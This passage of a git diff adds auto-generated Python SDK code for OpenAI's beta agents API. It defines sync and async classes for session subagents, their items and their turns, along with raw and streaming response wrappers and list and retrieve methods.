+ return ItemsWithRawResponse(self._sessions.items)
+
+ @cached_property
+ def events(self) -> EventsWithRawResponse:
+ return EventsWithRawResponse(self._sessions.events)
+
+ @cached_property
+ def turns(self) -> TurnsWithRawResponse:
+ return TurnsWithRawResponse(self._sessions.turns)
+
+
+class AsyncSessionsWithRawResponse:
+ def __init__(self, sessions: AsyncSessions) -> None:
+ self._sessions = sessions
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ sessions.create,
+ )
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ sessions.retrieve,
+ )
+ self.update = _legacy_response.async_to_raw_response_wrapper(
+ sessions.update,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ sessions.list,
+ )
+ self.delete = _legacy_response.async_to_raw_response_wrapper(
+ sessions.delete,
+ )
+
+ @cached_property
+ def subagents(self) -> AsyncSubagentsWithRawResponse:
+ return AsyncSubagentsWithRawResponse(self._sessions.subagents)
+
+ @cached_property
+ def artifacts(self) -> AsyncArtifactsWithRawResponse:
+ return AsyncArtifactsWithRawResponse(self._sessions.artifacts)
+
+ @cached_property
+ def items(self) -> AsyncItemsWithRawResponse:
+ return AsyncItemsWithRawResponse(self._sessions.items)
+
+ @cached_property
+ def events(self) -> AsyncEventsWithRawResponse:
+ return AsyncEventsWithRawResponse(self._sessions.events)
+
+ @cached_property
+ def turns(self) -> AsyncTurnsWithRawResponse:
+ return AsyncTurnsWithRawResponse(self._sessions.turns)
+
+
+class SessionsWithStreamingResponse:
+ def __init__(self, sessions: Sessions) -> None:
+ self._sessions = sessions
+
+ self.create = to_streamed_response_wrapper(
+ sessions.create,
+ )
+ self.retrieve = to_streamed_response_wrapper(
+ sessions.retrieve,
+ )
+ self.update = to_streamed_response_wrapper(
+ sessions.update,
+ )
+ self.list = to_streamed_response_wrapper(
+ sessions.list,
+ )
+ self.delete = to_streamed_response_wrapper(
+ sessions.delete,
+ )
+
+ @cached_property
+ def subagents(self) -> SubagentsWithStreamingResponse:
+ return SubagentsWithStreamingResponse(self._sessions.subagents)
+
+ @cached_property
+ def artifacts(self) -> ArtifactsWithStreamingResponse:
+ return ArtifactsWithStreamingResponse(self._sessions.artifacts)
+
+ @cached_property
+ def items(self) -> ItemsWithStreamingResponse:
+ return ItemsWithStreamingResponse(self._sessions.items)
+
+ @cached_property
+ def events(self) -> EventsWithStreamingResponse:
+ return EventsWithStreamingResponse(self._sessions.events)
+
+ @cached_property
+ def turns(self) -> TurnsWithStreamingResponse:
+ return TurnsWithStreamingResponse(self._sessions.turns)
+
+
+class AsyncSessionsWithStreamingResponse:
+ def __init__(self, sessions: AsyncSessions) -> None:
+ self._sessions = sessions
+
+ self.create = async_to_streamed_response_wrapper(
+ sessions.create,
+ )
+ self.retrieve = async_to_streamed_response_wrapper(
+ sessions.retrieve,
+ )
+ self.update = async_to_streamed_response_wrapper(
+ sessions.update,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ sessions.list,
+ )
+ self.delete = async_to_streamed_response_wrapper(
+ sessions.delete,
+ )
+
+ @cached_property
+ def subagents(self) -> AsyncSubagentsWithStreamingResponse:
+ return AsyncSubagentsWithStreamingResponse(self._sessions.subagents)
+
+ @cached_property
+ def artifacts(self) -> AsyncArtifactsWithStreamingResponse:
+ return AsyncArtifactsWithStreamingResponse(self._sessions.artifacts)
+
+ @cached_property
+ def items(self) -> AsyncItemsWithStreamingResponse:
+ return AsyncItemsWithStreamingResponse(self._sessions.items)
+
+ @cached_property
+ def events(self) -> AsyncEventsWithStreamingResponse:
+ return AsyncEventsWithStreamingResponse(self._sessions.events)
+
+ @cached_property
+ def turns(self) -> AsyncTurnsWithStreamingResponse:
+ return AsyncTurnsWithStreamingResponse(self._sessions.turns)
diff --git a/src/openai/resources/beta/agents/sessions/subagents/__init__.py b/src/openai/resources/beta/agents/sessions/subagents/__init__.py
new file mode 100644
index 0000000000..56a4c69cee
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/subagents/__init__.py
@@ -0,0 +1,47 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from .items import (
+ Items,
+ AsyncItems,
+ ItemsWithRawResponse,
+ AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse,
+ AsyncItemsWithStreamingResponse,
+)
+from .turns import (
+ Turns,
+ AsyncTurns,
+ TurnsWithRawResponse,
+ AsyncTurnsWithRawResponse,
+ TurnsWithStreamingResponse,
+ AsyncTurnsWithStreamingResponse,
+)
+from .subagents import (
+ Subagents,
+ AsyncSubagents,
+ SubagentsWithRawResponse,
+ AsyncSubagentsWithRawResponse,
+ SubagentsWithStreamingResponse,
+ AsyncSubagentsWithStreamingResponse,
+)
+
+__all__ = [
+ "Items",
+ "AsyncItems",
+ "ItemsWithRawResponse",
+ "AsyncItemsWithRawResponse",
+ "ItemsWithStreamingResponse",
+ "AsyncItemsWithStreamingResponse",
+ "Turns",
+ "AsyncTurns",
+ "TurnsWithRawResponse",
+ "AsyncTurnsWithRawResponse",
+ "TurnsWithStreamingResponse",
+ "AsyncTurnsWithStreamingResponse",
+ "Subagents",
+ "AsyncSubagents",
+ "SubagentsWithRawResponse",
+ "AsyncSubagentsWithRawResponse",
+ "SubagentsWithStreamingResponse",
+ "AsyncSubagentsWithStreamingResponse",
+]
diff --git a/src/openai/resources/beta/agents/sessions/subagents/items.py b/src/openai/resources/beta/agents/sessions/subagents/items.py
new file mode 100644
index 0000000000..b1b7f5892b
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/subagents/items.py
@@ -0,0 +1,235 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Any, cast
+from typing_extensions import Literal
+
+import httpx2
+
+from ...... import _legacy_response
+from ......_types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ......_utils import path_template, maybe_transform
+from ......_compat import cached_property
+from ......_resource import SyncAPIResource, AsyncAPIResource
+from ......_response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ......pagination import SyncCursorPage, AsyncCursorPage
+from ......_base_client import AsyncPaginator, make_request_options
+from ......types.beta.agent_session_item import AgentSessionItem
+from ......types.beta.agents.sessions.subagents import item_list_params
+
+__all__ = ["Items", "AsyncItems"]
+
+
+class Items(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> ItemsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return ItemsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> ItemsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return ItemsWithStreamingResponse(self)
+
+ def list(
+ self,
+ subagent_id: str,
+ *,
+ session_id: str,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[AgentSessionItem]:
+ """Lists this subagent's own items across all of its turns.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}/items",
+ session_id=session_id,
+ subagent_id=subagent_id,
+ ),
+ page=SyncCursorPage[AgentSessionItem],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ item_list_params.ItemListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=cast(Any, AgentSessionItem), # Union types cannot be passed in as arguments in the type system
+ )
+
+
+class AsyncItems(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncItemsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncItemsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncItemsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncItemsWithStreamingResponse(self)
+
+ def list(
+ self,
+ subagent_id: str,
+ *,
+ session_id: str,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[AgentSessionItem, AsyncCursorPage[AgentSessionItem]]:
+ """Lists this subagent's own items across all of its turns.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}/items",
+ session_id=session_id,
+ subagent_id=subagent_id,
+ ),
+ page=AsyncCursorPage[AgentSessionItem],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ item_list_params.ItemListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=cast(Any, AgentSessionItem), # Union types cannot be passed in as arguments in the type system
+ )
+
+
+class ItemsWithRawResponse:
+ def __init__(self, items: Items) -> None:
+ self._items = items
+
+ self.list = _legacy_response.to_raw_response_wrapper(
+ items.list,
+ )
+
+
+class AsyncItemsWithRawResponse:
+ def __init__(self, items: AsyncItems) -> None:
+ self._items = items
+
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ items.list,
+ )
+
+
+class ItemsWithStreamingResponse:
+ def __init__(self, items: Items) -> None:
+ self._items = items
+
+ self.list = to_streamed_response_wrapper(
+ items.list,
+ )
+
+
+class AsyncItemsWithStreamingResponse:
+ def __init__(self, items: AsyncItems) -> None:
+ self._items = items
+
+ self.list = async_to_streamed_response_wrapper(
+ items.list,
+ )
diff --git a/src/openai/resources/beta/agents/sessions/subagents/subagents.py b/src/openai/resources/beta/agents/sessions/subagents/subagents.py
new file mode 100644
index 0000000000..47e7950d3c
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/subagents/subagents.py
@@ -0,0 +1,386 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal
+
+import httpx2
+
+from ...... import _legacy_response
+from .items import (
+ Items,
+ AsyncItems,
+ ItemsWithRawResponse,
+ AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse,
+ AsyncItemsWithStreamingResponse,
+)
+from ......_types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ......_utils import path_template, maybe_transform
+from .turns.turns import (
+ Turns,
+ AsyncTurns,
+ TurnsWithRawResponse,
+ AsyncTurnsWithRawResponse,
+ TurnsWithStreamingResponse,
+ AsyncTurnsWithStreamingResponse,
+)
+from ......_compat import cached_property
+from ......_resource import SyncAPIResource, AsyncAPIResource
+from ......_response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ......pagination import SyncCursorPage, AsyncCursorPage
+from ......_base_client import AsyncPaginator, make_request_options
+from ......types.beta.subagent import Subagent
+from ......types.beta.agents.sessions import subagent_list_params
+
+__all__ = ["Subagents", "AsyncSubagents"]
+
+
+class Subagents(SyncAPIResource):
+ @cached_property
+ def items(self) -> Items:
+ return Items(self._client)
+
+ @cached_property
+ def turns(self) -> Turns:
+ return Turns(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> SubagentsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return SubagentsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> SubagentsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return SubagentsWithStreamingResponse(self)
+
+ def retrieve(
+ self,
+ subagent_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Subagent:
+ """Retrieves a subagent belonging to this session.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}", session_id=session_id, subagent_id=subagent_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Subagent,
+ )
+
+ def list(
+ self,
+ session_id: str,
+ *,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[Subagent]:
+ """Lists subagents in a session, including nested and closed subagents.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/sessions/{session_id}/subagents", session_id=session_id),
+ page=SyncCursorPage[Subagent],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ subagent_list_params.SubagentListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Subagent,
+ )
+
+
+class AsyncSubagents(AsyncAPIResource):
+ @cached_property
+ def items(self) -> AsyncItems:
+ return AsyncItems(self._client)
+
+ @cached_property
+ def turns(self) -> AsyncTurns:
+ return AsyncTurns(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AsyncSubagentsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncSubagentsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncSubagentsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncSubagentsWithStreamingResponse(self)
+
+ async def retrieve(
+ self,
+ subagent_id: str,
+ *,
+ session_id: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Subagent:
+ """Retrieves a subagent belonging to this session.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}", session_id=session_id, subagent_id=subagent_id
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Subagent,
+ )
+
+ def list(
+ self,
+ session_id: str,
+ *,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[Subagent, AsyncCursorPage[Subagent]]:
+ """Lists subagents in a session, including nested and closed subagents.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/sessions/{session_id}/subagents", session_id=session_id),
+ page=AsyncCursorPage[Subagent],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ subagent_list_params.SubagentListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Subagent,
+ )
+
+
+class SubagentsWithRawResponse:
+ def __init__(self, subagents: Subagents) -> None:
+ self._subagents = subagents
+
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ subagents.retrieve,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ subagents.list,
+ )
+
+ @cached_property
+ def items(self) -> ItemsWithRawResponse:
+ return ItemsWithRawResponse(self._subagents.items)
+
+ @cached_property
+ def turns(self) -> TurnsWithRawResponse:
+ return TurnsWithRawResponse(self._subagents.turns)
+
+
+class AsyncSubagentsWithRawResponse:
+ def __init__(self, subagents: AsyncSubagents) -> None:
+ self._subagents = subagents
+
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ subagents.retrieve,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ subagents.list,
+ )
+
+ @cached_property
+ def items(self) -> AsyncItemsWithRawResponse:
+ return AsyncItemsWithRawResponse(self._subagents.items)
+
+ @cached_property
+ def turns(self) -> AsyncTurnsWithRawResponse:
+ return AsyncTurnsWithRawResponse(self._subagents.turns)
+
+
+class SubagentsWithStreamingResponse:
+ def __init__(self, subagents: Subagents) -> None:
+ self._subagents = subagents
+
+ self.retrieve = to_streamed_response_wrapper(
+ subagents.retrieve,
+ )
+ self.list = to_streamed_response_wrapper(
+ subagents.list,
+ )
+
+ @cached_property
+ def items(self) -> ItemsWithStreamingResponse:
+ return ItemsWithStreamingResponse(self._subagents.items)
+
+ @cached_property
+ def turns(self) -> TurnsWithStreamingResponse:
+ return TurnsWithStreamingResponse(self._subagents.turns)
+
+
+class AsyncSubagentsWithStreamingResponse:
+ def __init__(self, subagents: AsyncSubagents) -> None:
+ self._subagents = subagents
+
+ self.retrieve = async_to_streamed_response_wrapper(
+ subagents.retrieve,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ subagents.list,
+ )
+
+ @cached_property
+ def items(self) -> AsyncItemsWithStreamingResponse:
+ return AsyncItemsWithStreamingResponse(self._subagents.items)
+
+ @cached_property
+ def turns(self) -> AsyncTurnsWithStreamingResponse:
+ return AsyncTurnsWithStreamingResponse(self._subagents.turns)
diff --git a/src/openai/resources/beta/agents/sessions/subagents/turns/__init__.py b/src/openai/resources/beta/agents/sessions/subagents/turns/__init__.py
new file mode 100644
index 0000000000..206610c6fb
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/subagents/turns/__init__.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from .items import (
+ Items,
+ AsyncItems,
+ ItemsWithRawResponse,
+ AsyncItemsWithRawResponse,
+ ItemsWithStreamingResponse,
+ AsyncItemsWithStreamingResponse,
+)
+from .turns import (
+ Turns,
+ AsyncTurns,
+ TurnsWithRawResponse,
+ AsyncTurnsWithRawResponse,
+ TurnsWithStreamingResponse,
+ AsyncTurnsWithStreamingResponse,
+)
+
+__all__ = [
+ "Items",
+ "AsyncItems",
+ "ItemsWithRawResponse",
+ "AsyncItemsWithRawResponse",
+ "ItemsWithStreamingResponse",
+ "AsyncItemsWithStreamingResponse",
+ "Turns",
+ "AsyncTurns",
+ "TurnsWithRawResponse",
+ "AsyncTurnsWithRawResponse",
+ "TurnsWithStreamingResponse",
+ "AsyncTurnsWithStreamingResponse",
+]
diff --git a/src/openai/resources/beta/agents/sessions/subagents/turns/items.py b/src/openai/resources/beta/agents/sessions/subagents/turns/items.py
new file mode 100644
index 0000000000..a58e8ef1d0
--- /dev/null
+++ b/src/openai/resources/beta/agents/sessions/subagents/turns/items.py
@@ -0,0 +1,243 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Any, cast
+from typing_extensions import Literal
+
+import httpx2
+
+from ....... import _legacy_response
+from ......._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ......._utils import path_template, maybe_transform
+from ......._compat import cached_property
+from ......._resource import SyncAPIResource, AsyncAPIResource
+from ......._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from .......pagination import SyncCursorPage, AsyncCursorPage
+from ......._base_client import AsyncPaginator, make_request_options
+from .......types.beta.agent_session_item import AgentSessionItem
+from .......types.beta.agents.sessions.subagents.turns import item_list_params
+
+__all__ = ["Items", "AsyncItems"]
+
+
+class Items(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> ItemsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return ItemsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> ItemsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return ItemsWithStreamingResponse(self)
+
+ def list(
+ self,
+ turn_id: str,
+ *,
+ session_id: str,
+ subagent_id: str,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[AgentSessionItem]:
+ """Lists items belonging to one turn of this subagent.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ if not subagent_id:
+ raise ValueError(f"Expected a non-empty value for `subagent_id` but received {subagent_id!r}")
+ if not turn_id:
+ raise ValueError(f"Expected a non-empty value for `turn_id` but received {turn_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template(
+ "/agents/sessions/{session_id}/subagents/{subagent_id}/turns/{turn_id}/items",
+ session_id=session_id,
+ subagent_id=subagent_id,
+ turn_id=turn_id,
+ ),
+ page=SyncCursorPage[AgentSessionItem],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ item_list_params.ItemListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=cast(Any, AgentSessionItem), # Union types cannot be passed in as arguments in the type system
+ )
+
+
+class AsyncItems(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncItemsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncItemsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncItemsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncItemsWithStreamingResponse(self)
+
+ def list(
+ self,
+ turn_id: str,
+ *,
+ session_id: str,
+ subagent_id: str,
+ after: str | Omit = omit,
+ limit: int | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[AgentSessionItem, AsyncCursorPage[AgentSessionItem]]:
+ """Lists items belonging to one turn of this subagent.
+
+ See
+ [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
